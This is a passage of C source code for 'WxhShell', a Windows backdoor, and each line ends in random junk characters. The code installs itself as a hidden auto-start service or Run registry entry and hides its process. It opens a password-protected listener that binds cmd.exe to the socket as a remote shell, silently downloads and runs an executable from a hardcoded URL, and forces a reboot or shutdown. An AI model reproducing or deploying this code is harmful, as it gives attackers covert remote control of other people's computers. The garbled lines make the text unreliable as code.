    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2&=;$2?}  
    if(Boot(SHUTDOWN)) ]jy6C'Mp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QU417EV'  
    else { 4y P $l  
    closesocket(wsh); !Ug J^v  
    ExitThread(0); b$B5sKQ  
    } }}Q|O]e  
    break; jh=:QP/  
    } }K&K{ 9}  
  // 获取shell ;Y)?6^"  
  case 's': { Z 4t9q`}h  
    CmdShell(wsh); "E'OP R  
    closesocket(wsh); Xbap' /t  
    ExitThread(0); <rCl  
    break; YjsaTdZ!&  
  }  _@d.wfM  
  // 退出 !E$S&zVMQ  
  case 'x': { 55yP.@i9J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^@tn+'.  
    CloseIt(wsh); ZegsV|  
    break; H,\c"  
    } X}? cAo2N  
  // 离开 op"Cc  
  case 'q': { }uZh oA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hL8QA!  
    closesocket(wsh); MiRMjQ2  
    WSACleanup(); ^ ]`<nO  
    exit(1); qdcCX:Z<  
    break; d/* [t!   
        } c| p eRO.  
  } ;GvyL>|-~  
  } &#d;dcLe  
(M[Kh ^  
  // 提示信息 qOk4qbl[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R?I(f(ib   
} Q <78< #I  
  } gp$+Qd  
.$?s :t  
  return; *D|6g| Hb  
} h`5au<h<  
P;A"`Il  
// shell模块句柄 N\xqy-L9  
int CmdShell(SOCKET sock) W'6*$Ron  
{ &<v# ^2S3  
STARTUPINFO si; ?+dI/jB4X  
ZeroMemory(&si,sizeof(si)); Y6g[y\*t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Que)kjp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SYl :X   
PROCESS_INFORMATION ProcessInfo; v 7Pv&|  
char cmdline[]="cmd"; ,Cx5( ~kU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -/FCd(  
  return 0; . vYGJ8(P  
} 8n2* z  
LkNfcBa_  
// 自身启动模式 Mu{mj4Y{  
int StartFromService(void) E!ZDqq  
{ v&uIxFCR  
typedef struct JRl8S   
{ ayC*n'  
  DWORD ExitStatus; ;qzCoe  
  DWORD PebBaseAddress; #Dy;x\a  
  DWORD AffinityMask; }*? e w  
  DWORD BasePriority; $`]<4I9d  
  ULONG UniqueProcessId; =Ybbh`$<  
  ULONG InheritedFromUniqueProcessId; |w\D6d]o  
}   PROCESS_BASIC_INFORMATION; 85nUR [)h  
F\>`j   
PROCNTQSIP NtQueryInformationProcess; i8A5m@,G  
^t#]E#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _}Z*%sT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PhW#=S  
17nWrTxR$  
  HANDLE             hProcess; I80.|KIv  
  PROCESS_BASIC_INFORMATION pbi; |F6C&GNYT  
uOZ+9x(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rWa7"<`p  
  if(NULL == hInst ) return 0; m*["  
:X@;XEol~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "I_3!Yu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '!En,*'IS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "jAV7lP  
EStHl(DUPq  
  if (!NtQueryInformationProcess) return 0; f~"3#MaV  
ZXr]V'Q?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +5^*c^C  
  if(!hProcess) return 0; o#w6]Fmc  
Ry/NfF=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^S, "i V  
#<se0CJB  
  CloseHandle(hProcess); qf7.Sh  
C'mmo&Pd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s-k-|4  
if(hProcess==NULL) return 0; eW\_9E)cY  
ir/2/ E  
HMODULE hMod; ~\XB'  
char procName[255]; d9sgk3K  
unsigned long cbNeeded; WhK?>u  
-?@ $`{-K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HlV3rYh  
,Hp9Gkm8I/  
  CloseHandle(hProcess); VX;u54hS  
'8%aq8  
if(strstr(procName,"services")) return 1; // 以服务启动 ~ocd4,d=  
R?X9U.AcW  
  return 0; // 注册表启动 0aGfz=V&  
} vy-{BH  
d8Upr1_  
// 主模块 hRA.u'M  
int StartWxhshell(LPSTR lpCmdLine) Qaagi `  
{ {)F-US  
  SOCKET wsl; l:faI&o.@  
BOOL val=TRUE; LzgD#Kz  
  int port=0; HqN|CwGgJ:  
  struct sockaddr_in door; ydlH6>  
]kc_wFT<  
  if(wscfg.ws_autoins) Install(); BRH:5h  
vtr:{   
port=atoi(lpCmdLine); vqL{~tR  
sW=@G'}3  
if(port<=0) port=wscfg.ws_port; 2|Tt3/Rn  
,PIdPaV--  
  WSADATA data; R]ppA=1*_l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _NZ) n)  
s"a*S\a;b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P,wFib^1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XY%8yII6  
  door.sin_family = AF_INET; 8 5s{;3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0A}'.LI  
  door.sin_port = htons(port); -'YX2!IU,  
ifBJ$x(B.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6aK%s{%3s  
closesocket(wsl); hefV0)4K  
return 1; _X@:- _  
} MjG .Ili$m  
5^%^8o  
  if(listen(wsl,2) == INVALID_SOCKET) { O<%U*:B  
closesocket(wsl); 0<>iMrD  
return 1; gXf_~zxS  
} gR?3)m  
  Wxhshell(wsl); JWxPH5L  
  WSACleanup(); 8YYY *>  
KY_qK)H  
return 0; .h*&$c/l  
` D4J9;|;]  
} SX F F  
<v{jJ7w  
// 以NT服务方式启动 ,lN!XP{M6w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O|gb{  
{ DR=>la}!  
DWORD   status = 0; 89 SsSb  
  DWORD   specificError = 0xfffffff; r Ssv^W+  
k $+&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G\P*zz Sq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SQt$-<>4\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s&fU|Jk8  
  serviceStatus.dwWin32ExitCode     = 0; ,e>ugI_;*  
  serviceStatus.dwServiceSpecificExitCode = 0; ViVYyA  
  serviceStatus.dwCheckPoint       = 0; gi"v$ {R  
  serviceStatus.dwWaitHint       = 0; 4CN8>J'-  
zu;Yw=cM)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^_<pc|1  
  if (hServiceStatusHandle==0) return; />n0&~k[h  
M{(Y|3W  
status = GetLastError(); EIF[e|kZ<  
  if (status!=NO_ERROR) tKJ) 'v?  
{ .b]oB_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -7+Fb^"L  
    serviceStatus.dwCheckPoint       = 0; 7l:H~"9r  
    serviceStatus.dwWaitHint       = 0; pXQ&2s$  
    serviceStatus.dwWin32ExitCode     = status; j5ui  
    serviceStatus.dwServiceSpecificExitCode = specificError; "#m*`n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pb~S{):  
    return; ?2G^6>O `  
  } '.^JN@  
:;|x'[JoE?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n*;mFV0s  
  serviceStatus.dwCheckPoint       = 0; oVsl,V  
  serviceStatus.dwWaitHint       = 0; K}$PIW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &7<~Q\XZbI  
} 7tr.&A^c  
IjrTM{f  
// 处理NT服务事件,比如:启动、停止 |L+GM"hg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 54 8@._-S  
{ dm.3.xXq  
switch(fdwControl) LpF6e9V\Wp  
{ =l_eliM/  
case SERVICE_CONTROL_STOP: 8zY)0  
  serviceStatus.dwWin32ExitCode = 0; tdt6*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?j OpW1  
  serviceStatus.dwCheckPoint   = 0; RP(FV<ot  
  serviceStatus.dwWaitHint     = 0; 89 lPeFQ`  
  { )<Yy.Z_:DC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jEI!t^#  
  } .^v7LF]Q  
  return; \LS%bO,Y|  
case SERVICE_CONTROL_PAUSE: as\V, {<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~ 01]VA  
  break; 82w< q(  
case SERVICE_CONTROL_CONTINUE: k5PzY!N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Dk7"#q@kx  
  break; E3KP jK  
case SERVICE_CONTROL_INTERROGATE: |0 Zj/1<$  
  break; +~[19'GH  
}; <4>6k7W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bRIb'%=+GA  
} W>, b1_k c  
4<O[d  
// 标准应用程序主函数 3g6R<Ez  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %_3{Db`R>  
{ Lh. L~M1X  
h7Ma`w\-  
// 获取操作系统版本 3 +#bkG  
OsIsNt=GetOsVer(); 3yZ@i<rfH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1`)R#$h  
* dNMnZ@Y  
  // 从命令行安装 ,Y&kW'2  
  if(strpbrk(lpCmdLine,"iI")) Install(); =lffr?#&B  
c''!&;[!  
  // 下载执行文件 D1Fc7! TV  
if(wscfg.ws_downexe) { !-7(.i-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [Q%3=pm_  
  WinExec(wscfg.ws_filenam,SW_HIDE); {<|0M%v  
} ?pVODnP k  
> h:~*g  
if(!OsIsNt) { MZ+"Arzb  
// 如果时win9x,隐藏进程并且设置为注册表启动 T$q]iSgu  
HideProc(); $4eogI7N>w  
StartWxhshell(lpCmdLine); f< '~K  
} :{Y,Nsa  
else KT|$vw2b  
  if(StartFromService()) cq!> B{  
  // 以服务方式启动 D #A9  
  StartServiceCtrlDispatcher(DispatchTable); T8RQM1D_s  
else 9^}GUJy?  
  // 普通方式启动 GEvif4  
  StartWxhshell(lpCmdLine); XCt}>/"s\h  
%b_zUFHPp  
return 0; z24-h C  
} LAvAjvRc  
yC _X@o-n  
Fs=nAn#  
IYj-cm  
=========================================== [` i;gx[^  
[}VEDx  
k r/[|.bq  
`rM-b'D  
EGa}ml/G  
SWmdU]  
" `@:^(sMo  
4+uAd"  
#include <stdio.h> Yt{Y)=_t  
#include <string.h> 5ax/jd~}  
#include <windows.h> v8WoV*  
#include <winsock2.h> f"PApV9[  
#include <winsvc.h>  k&rl%P  
#include <urlmon.h> }2{%V^D)r  
[NuayO3  
#pragma comment (lib, "Ws2_32.lib") uH7u4f1Q  
#pragma comment (lib, "urlmon.lib") yqAw7GaBN  
(yZ^Y'0  
#define MAX_USER   100 // 最大客户端连接数 PmTA3aH  
#define BUF_SOCK   200 // sock buffer Ig=4Z*au!g  
#define KEY_BUFF   255 // 输入 buffer L>PpXTWwy  
gfp#G,/B  
#define REBOOT     0   // 重启 p2cKtk+  
#define SHUTDOWN   1   // 关机 i,V~5dE[I<  
:0vNg:u+  
#define DEF_PORT   5000 // 监听端口 . Bv;Zv  
jgC/  
#define REG_LEN     16   // 注册表键长度 J M`uIVnNA  
#define SVC_LEN     80   // NT服务名长度 uL1-@D,  
D!y Cnq=8  
// 从dll定义API ]~|zY5i!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `zTVup&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [g%oo3`A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w1.KRe{M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5jbd!t@L  
|D<~a(0  
// wxhshell配置信息 ~xA' -N/  
struct WSCFG { )! OEa]  
  int ws_port;         // 监听端口 6 .*=1P*?  
  char ws_passstr[REG_LEN]; // 口令 ZOU$do>O  
  int ws_autoins;       // 安装标记, 1=yes 0=no jaDZPX-yS  
  char ws_regname[REG_LEN]; // 注册表键名 H7R1GaJ  
  char ws_svcname[REG_LEN]; // 服务名 vZk+NS<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F02NnF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WSh+5](:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @90)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no > ^D10Nf*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]ErAa"?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !,I}2,1%k  
B!9<c9/ P]  
}; dhV =;'   
_I75[W!  
// default Wxhshell configuration o^lKM?t  
struct WSCFG wscfg={DEF_PORT, [P"#?7 N  
    "xuhuanlingzhe", *P9)M%  
    1, F9Mv$ g79  
    "Wxhshell", &%FpNU9  
    "Wxhshell", 0OlB;  
            "WxhShell Service", P=eL24j  
    "Wrsky Windows CmdShell Service", 5z=;q!3  
    "Please Input Your Password: ", <b{ApsRJf  
  1, }yXa1#3  
  "http://www.wrsky.com/wxhshell.exe", k(V#{ YP  
  "Wxhshell.exe" S3.Pqp_<  
    }; #IgY'L  
)5p0fw  
// 消息定义模块 qy.Mi{=~:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T?Hs_u{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /}(w{6C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5{j1<4zxR  
char *msg_ws_ext="\n\rExit."; 6 Rg{^ERf  
char *msg_ws_end="\n\rQuit."; qd(`~a  
char *msg_ws_boot="\n\rReboot..."; <r_ldkZ  
char *msg_ws_poff="\n\rShutdown..."; ,US]  
char *msg_ws_down="\n\rSave to "; 0f1*#8-6  
XlR.Y~  
char *msg_ws_err="\n\rErr!"; 1?Wk qQ  
char *msg_ws_ok="\n\rOK!"; ~%>ke  
Q]66v$  
char ExeFile[MAX_PATH]; 3>c<E1   
int nUser = 0; +Z /Pj_.o  
HANDLE handles[MAX_USER]; td%EbxJK]`  
int OsIsNt; eSJ5YeY)  
{&G0jsA  
SERVICE_STATUS       serviceStatus; l2._Z Py  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D1#fy=u69|  
1VH7z  
// 函数声明 O cd ^{u  
int Install(void); #2/k^N4r  
int Uninstall(void); 1 1O^)_|c  
int DownloadFile(char *sURL, SOCKET wsh); A]Qg X5\sa  
int Boot(int flag); #jbo! wdg  
void HideProc(void); xyBWV]Y  
int GetOsVer(void); R$_#7>3  
int Wxhshell(SOCKET wsl); [|E 93g  
void TalkWithClient(void *cs); z-ra]  
int CmdShell(SOCKET sock); SW# 5px`  
int StartFromService(void); 4h|sbB"t  
int StartWxhshell(LPSTR lpCmdLine); w%KU@$  
wtIXZU x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AEp|#H' >  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )jm}h7,  
!S$LRm\ '  
// 数据结构和表定义 <"X\~  
SERVICE_TABLE_ENTRY DispatchTable[] = `[X5mEe  
{ :$L^l{gT  
{wscfg.ws_svcname, NTServiceMain}, lN -vFna  
{NULL, NULL} <$qe2Ft Uq  
}; A )tGB&  
1 cvoI  
// 自我安装 J7c(qGJI2  
int Install(void) .T#h5[S2x  
{ bM+}j+0  
  char svExeFile[MAX_PATH]; <My4 )3  
  HKEY key; 1-.6psE  
  strcpy(svExeFile,ExeFile); D!^&*Ia?2  
:Z3Tyj}4  
// 如果是win9x系统,修改注册表设为自启动 W; P8=q  
if(!OsIsNt) { :G!i]1x<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { . =yF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8{^zXJi]m  
  RegCloseKey(key);  dtTQY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xU6)~ae`JW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DQui7dr)l  
  RegCloseKey(key); h/?$~OD  
  return 0; I($0&Y\De  
    } *6IytW OX5  
  } Wl\.*^`k  
} bbddbRj;  
else { $pr\"!|z  
KP,#x$Bg  
// 如果是NT以上系统,安装为系统服务 1Tm,#o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "}fJ 2G3  
if (schSCManager!=0) :qy< G!o  
{ q|r^)0W  
  SC_HANDLE schService = CreateService % 8u97f W  
  ( Ymt.>8L  
  schSCManager, (_1(<Jw  
  wscfg.ws_svcname, 6&xpS9  
  wscfg.ws_svcdisp, z0!k  
  SERVICE_ALL_ACCESS, b\^X1eo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , = hL;Q@inb  
  SERVICE_AUTO_START, ~XU%_Hz  
  SERVICE_ERROR_NORMAL, y=.`:EB9b  
  svExeFile, ktF\f[  
  NULL, v,, .2UR4  
  NULL, ||yx?q6\h  
  NULL, 57@6O-t-  
  NULL, %wil'  
  NULL .6C9N{?Tqf  
  ); %'+}-w  
  if (schService!=0) pUF$Nq>og  
  { /;E{(%U)t  
  CloseServiceHandle(schService);  r`-=<@[  
  CloseServiceHandle(schSCManager); 5! -+5TJI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZP-^10  
  strcat(svExeFile,wscfg.ws_svcname); >L4q>S^v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5y^I~"_ i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [A\DuJx  
  RegCloseKey(key); &"l Sq2  
  return 0; H. o=4[  
    } BLaF++Fop  
  } 8=TM _  
  CloseServiceHandle(schSCManager); W2>VgMR [  
} ZQ1,6<^9i[  
} )?y${T   
}jdMo83  
return 1; @qUgp*+{  
} ~  p~  
6K Cv  
// 自我卸载 z\7-v<ZS  
int Uninstall(void) D*0[7:NSO  
{ TF_wT28AU2  
  HKEY key; "zE>+zRl  
xB :]{9r  
if(!OsIsNt) { pf% yEz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /qaWUUf  
  RegDeleteValue(key,wscfg.ws_regname); /M2U7^9``"  
  RegCloseKey(key); \RT3#X+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dbl3ef  
  RegDeleteValue(key,wscfg.ws_regname); `_"loPu  
  RegCloseKey(key); "50 c<sZSB  
  return 0; *(g0{V  
  } eL" +_lW  
} @oKW$\  
} R,8 W7 3  
else { TGDrTyI?y  
Yj"{aFK#u@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nixIKOnjC  
if (schSCManager!=0) >q&X#E<w  
{ D]=V6l=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0<FT=tKm  
  if (schService!=0) EQ [K  
  { L/ g8@G ;  
  if(DeleteService(schService)!=0) { zFi)R }Ot  
  CloseServiceHandle(schService); W\EvMV"  
  CloseServiceHandle(schSCManager); 4|/}~9/  
  return 0; 8hV>Q  
  } xp*Wf#BF  
  CloseServiceHandle(schService); A1Es>NK[qW  
  } XOL_vS24  
  CloseServiceHandle(schSCManager); Suo%uD  
} PiIP%$72O  
} ##6u  
Ak kth*p  
return 1; tP1znJh>y  
} }IRD!  
.QW@rV:T  
// 从指定url下载文件 Z~AgZM R  
int DownloadFile(char *sURL, SOCKET wsh) laRn![[  
{ #EA` |  
  HRESULT hr; a9_KoOa.H  
char seps[]= "/"; 1lYQR`Uh  
char *token; L[voouaqm  
char *file; \MDhm,H<  
char myURL[MAX_PATH]; K%.t%)A_3  
char myFILE[MAX_PATH]; MK.TBv  
FtW=Cc`hC_  
strcpy(myURL,sURL); ;$vVYC  
  token=strtok(myURL,seps); S&F[\4w5]  
  while(token!=NULL) Df@b;-E  
  {  G){A&F  
    file=token; OUhlQq\  
  token=strtok(NULL,seps); tISb' ^T  
  } Nd He::  
s|][p|  
GetCurrentDirectory(MAX_PATH,myFILE); d(YAH@  
strcat(myFILE, "\\"); (qw;-A W8  
strcat(myFILE, file); U!jRF  
  send(wsh,myFILE,strlen(myFILE),0);  eIj2(q9  
send(wsh,"...",3,0); GdM|?u&s"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Mtaky=l8~I  
  if(hr==S_OK) *P\OP'o_  
return 0; =4uO"o  
else _"t"orD6  
return 1; |RH^|2:x9Q  
,f~)CXNT?  
} kl|m @Nxp  
BPSi e0  
// 系统电源模块 +3 J5j+  
int Boot(int flag) uHuL9Q^  
{ qN'%q+n  
  HANDLE hToken; 0HI0/Tvu$<  
  TOKEN_PRIVILEGES tkp; W[LQ$uj  
RF [81/w]  
  if(OsIsNt) { [dy0aR$>d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G;e)K\[J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  z $iI  
    tkp.PrivilegeCount = 1; bo#?,80L}`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TU1W!=Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 734H{,~  
if(flag==REBOOT) { ~H4Tr[8a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q sPZ dC  
  return 0; -sx=1+\nf  
} .7HEI;4  
else { WM0-F@_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D1V^DbUm_  
  return 0; ;ykX]5jGh  
} bSW~hyI w  
  } 8w ]'U  
  else { 2]5ux!Lqln  
if(flag==REBOOT) { |ADg#oX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0?''v>%  
  return 0; :cA8[!  
} Hv*+HUc(:  
else { _4LDzVjNRe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?]\v%[ho  
  return 0; ybcCq]cgt  
} l]L"Ex{  
} :m0 pm@  
{ 3Qlx/6<  
return 1; g6H`uO  
} brdY97s4  
n],"!>=+  
// win9x进程隐藏模块 7Q|v5@;pU  
void HideProc(void) .X"\ Mg  
{ ^@$T>SB1  
|H%,>r`9S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VO<P9g$UD  
  if ( hKernel != NULL ) -+Z&O?pSH  
  { loD:4e1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S Q`KR'E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J@IF='{  
    FreeLibrary(hKernel); ^ x_+ &  
  } RWZjD#5%Z  
k^%F4d3z@C  
return; eK/rs r  
} &ZJ$V  
wx^1lC2  
// 获取操作系统版本 U3pMv|b  
int GetOsVer(void) ei @$_w*TH  
{ Sj;:*jk!h  
  OSVERSIONINFO winfo; qSQsY:]j0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t x1(6V&l;  
  GetVersionEx(&winfo); zLjQ,Lp.I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H,)2Ou-Wn  
  return 1; J6J; !~>_  
  else mSp;(oQ  
  return 0; CMfR&G,)  
} =BBq K=W.d  
}^PdW3O*m,  
// 客户端句柄模块 2*Mu"v,  
int Wxhshell(SOCKET wsl) e9eBD   
{ ;h4w<OqcM  
  SOCKET wsh; |E FbT>  
  struct sockaddr_in client; 8'0KHn{#  
  DWORD myID; G}`Hu_ [\)  
Ekz)Nh)vGR  
  while(nUser<MAX_USER) ~GjM:*  
{ B0!W=T\  
  int nSize=sizeof(client); G:;(,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FD^s5>"Y+  
  if(wsh==INVALID_SOCKET) return 1; mg *kB:p  
#.<(/D+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AeEF/*  
if(handles[nUser]==0) bAL!l\&2  
  closesocket(wsh); A"T*uv|  
else T]?QCf  
  nUser++; (L"G,l  
  } k5)e7Lb(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tSq`_[@  
I< Rai"  
  return 0; bdr !|WZ  
} rY(^6[!  
\E,Fe:/g  
// 关闭 socket yQ+C}8r5  
void CloseIt(SOCKET wsh) lR3JyYY{X  
{ J,^eq@(  
closesocket(wsh); 6n'XRfQp)&  
nUser--; <9Pf] G=  
ExitThread(0); 67dp)X  
} si|b>R&Z  
cz$q~)I$  
// 客户端请求句柄 Sv03="&  
void TalkWithClient(void *cs) }'Yk#Q  
{ N,u~ZEI  
f"A?\w @  
  SOCKET wsh=(SOCKET)cs; ,7izrf8  
  char pwd[SVC_LEN]; #zw 'H9l  
  char cmd[KEY_BUFF]; H3jb{S b  
char chr[1]; q/t~`pH3  
int i,j; VK?c='zg  
QP4`r#,  
  while (nUser < MAX_USER) { IF.6sJg:  
F anA~  
if(wscfg.ws_passstr) { S-)%#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \S"YLRn"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9h 0^_|"  
  //ZeroMemory(pwd,KEY_BUFF); /(skIvE|  
      i=0; !_=3Dz  
  while(i<SVC_LEN) { ]0)=0pc]E  
UZqk2D  
  // 设置超时 V7i1BR8G  
  fd_set FdRead; |.[4$C  
  struct timeval TimeOut; #[ hJm'G  
  FD_ZERO(&FdRead); 0Xw3h^%  
  FD_SET(wsh,&FdRead); $5a%hK  
  TimeOut.tv_sec=8; 7eekTh, ?  
  TimeOut.tv_usec=0; t /CE,DQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6GtXM3qtS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qddP-uN  
[vY? !  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rWMG_eP:  
  pwd=chr[0]; _rf  
  if(chr[0]==0xd || chr[0]==0xa) { C/x<_VJzN/  
  pwd=0; l/w<R  
  break; :$>TeCm  
  } &GH ,is  
  i++; ? $LKn2C  
    } b_T?jCyW  
e(m#elX  
  // 如果是非法用户,关闭 socket RAW(lZ(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FUj4y 9X  
} &r Lg/UEV-  
$zuemjW3p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _P*<T6\J>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  R)?zL;,x  
^UAL5}CQt  
while(1) { RxVf:h'l  
vS|uN(a.P  
  ZeroMemory(cmd,KEY_BUFF); `* =Tf  
kM T73OI>_  
      // 自动支持客户端 telnet标准   2v6QUf  
  j=0; DIu rFDQSS  
  while(j<KEY_BUFF) { ^?)o,djY&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r*!sA5  
  cmd[j]=chr[0]; T7{Z0-  
  if(chr[0]==0xa || chr[0]==0xd) { .<C}/Cl  
  cmd[j]=0; :LwNOuavN  
  break; h[0,/`qb{  
  } :5`BhFAd  
  j++; ?E?dg#yk  
    } $G5;y>  
yprf `D>  
  // 下载文件 O8N\  
  if(strstr(cmd,"http://")) { Xbb('MoI63  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -S7rOq2Li  
  if(DownloadFile(cmd,wsh)) V_g9oR_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {D jz']  
  else d M&BnI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `"<} B"s  
  } D$RQD{*  
  else { 9 1r"-%(r  
^p0BeSRiy;  
